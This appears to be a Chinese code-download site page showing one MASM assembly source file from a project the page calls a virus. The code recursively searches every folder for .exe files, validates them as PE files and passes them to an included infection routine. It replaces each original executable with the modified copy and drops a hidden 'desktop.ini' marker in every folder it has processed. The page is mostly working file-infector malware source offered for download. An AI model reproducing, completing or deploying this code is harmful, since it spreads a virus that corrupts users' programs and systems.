⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 _disposalexe.asm

📁 纯汇编写的病毒程序。 1、将自己拷贝到系统目录下; 2、循环遍历系统中所有逻辑驱动器
💻 ASM
字号:
;以下是_DisposalExe.asm文件
        .const
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
szFilter    db    '*.*',0
szExts        db    '.exe',0
szExtb        db    '.EXE',0
szDesktop    db    'desktop.ini',0
szSystemTime    db    '%d-%d-%d',0dh,0ah,0
        .code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;加入头文件
include        _ProcessPeFile.asm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;打开文件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_OpenFile    proc    _lpszPath
        local    @hFile,@dwFileSize,@hMapFile,@lpMemory,@dwTemp
        local    @szFileBuffer[MAX_PATH]:byte

;********************************************************************
; 打开文件并建立文件 Mapping
;********************************************************************
        invoke    CreateFile,_lpszPath,GENERIC_READ,FILE_SHARE_READ or \
            FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
        .if    eax !=    INVALID_HANDLE_VALUE
            mov    @hFile,eax
            invoke    GetFileSize,eax,NULL
            mov    @dwFileSize,eax
            .if    eax
                invoke    CreateFileMapping,@hFile,NULL,PAGE_READONLY,0,0,NULL
                .if    eax
                    mov    @hMapFile,eax
                    invoke    MapViewOfFile,eax,FILE_MAP_READ,0,0,0
                    .if    eax
                        mov    @lpMemory,eax
;********************************************************************
; 检测 PE 文件是否有效
;********************************************************************
                        mov    esi,@lpMemory
                        assume    esi:ptr IMAGE_DOS_HEADER
                        .if    [esi].e_magic != IMAGE_DOS_SIGNATURE
                            jmp    _ErrorExit
                        .endif
                        add    esi,[esi].e_lfanew
                        assume    esi:ptr IMAGE_NT_HEADERS
                        .if    [esi].Signature != IMAGE_NT_SIGNATURE
                            jmp    _ErrorExit
                        .endif
                        invoke    _ProcessPeFile,_lpszPath,@lpMemory,esi,@dwFileSize
                        mov    @dwTemp,2007
_ErrorExit:
                        invoke    UnmapViewOfFile,@lpMemory
                    .endif
                    invoke    CloseHandle,@hMapFile
                .endif
                invoke    CloseHandle,@hFile
            .endif
        .endif
        .if    @dwTemp == 2007
            invoke    lstrcpy,addr @szFileBuffer,_lpszPath
            invoke    lstrlen,addr @szFileBuffer
            lea    ecx,@szFileBuffer
            mov    byte ptr [ecx+eax-4],0
            invoke    CopyFile,addr @szFileBuffer,_lpszPath,FALSE        ;将捆绑后的文件替换原文件
            invoke    DeleteFile,addr @szFileBuffer                ;删除临时文件
        .endif
@@:
        ret

_OpenFile    endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;添加标记文件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_AddDesktop    proc    _lpszPath
        local    @hFile,@WrtSize
        local    @System:SYSTEMTIME
        local    @szSystemTime[128]:byte
        
        pushad
        invoke    GetSystemTime,addr @System
        movzx    eax,@System.wYear
        movzx    ebx,@System.wMonth
        movzx    edx,@System.wDay
        invoke    wsprintf,addr @szSystemTime,addr szSystemTime,eax,\
            ebx,edx
        invoke    CreateFile,_lpszPath,GENERIC_WRITE,FILE_SHARE_READ,\        ;建立文件
            0,CREATE_ALWAYS,FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_HIDDEN,0
        mov    @hFile,eax
        invoke    WriteFile,@hFile,addr @szSystemTime,sizeof @szSystemTime,\    ;写入信息
            addr @WrtSize,NULL
        invoke    CloseHandle,@hFile
        popad
        ret
_AddDesktop    endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;搜索EXE
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_FindExe    proc    _lpszPath
        local    @stFindFile:WIN32_FIND_DATA
        local    @hFindFile
        local    @szPath[MAX_PATH]:byte        ;用来存放“路径\”
        local    @szSearch[MAX_PATH]:byte    ;用来存放“路径\*.*”
        local    @szFindFile[MAX_PATH]:byte    ;用来存放“路径\找到的文件”
        local    @szTerm[MAX_PATH]:byte        ;用来存放查找条件

        pushad
        invoke    lstrcpy,addr @szPath,_lpszPath
;********************************************************************
; 在路径后面加上\*.*
;********************************************************************
    @@:
        invoke    lstrlen,addr @szPath
        lea    esi,@szPath
        add    esi,eax
        xor    eax,eax
        mov    al,'\'
        .if    byte ptr [esi-1] != al
            mov    word ptr [esi],ax
        .endif
        invoke    lstrcpy,addr @szSearch,addr @szPath
        invoke    lstrcpy,addr @szTerm,addr @szSearch
        invoke    lstrcat,addr @szSearch,addr szFilter
        invoke    lstrcat,addr @szTerm,addr szDesktop
        invoke    FindFirstFile,addr @szTerm,addr @szFindFile
        .if    eax != -1h
            jmp    _Ret
        .endif
;********************************************************************
; 寻找文件
;********************************************************************
        invoke    FindFirstFile,addr @szSearch,addr @stFindFile
        .if    eax !=    INVALID_HANDLE_VALUE
            mov    @hFindFile,eax
            .repeat
                invoke    lstrcpy,addr @szFindFile,addr @szPath
                invoke    lstrcat,addr @szFindFile,addr @stFindFile.cFileName
                .if    @stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY
                    .if    @stFindFile.cFileName != '.'
                        invoke    _FindExe,addr @szFindFile
                    .endif
                .else
                    pushad
                    invoke    lstrlen,addr @szFindFile
                    lea    ebx,@szFindFile
                    add    ebx,eax
                    sub    ebx,4
                    invoke    lstrcmp,ebx,addr szExts
                    mov    esi,eax
                    invoke    lstrcmp,ebx,addr szExtb
                    .if    eax==0 || esi==0
                        invoke    _OpenFile,addr @szFindFile        ;打开文件
                    .endif
                    popad
                .endif
                invoke    FindNextFile,@hFindFile,addr @stFindFile
            .until    (eax ==    FALSE)
            invoke    _AddDesktop,addr @szTerm
            invoke    FindClose,@hFindFile
        .endif
        popad
    _Ret:
        ret

_FindExe    endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -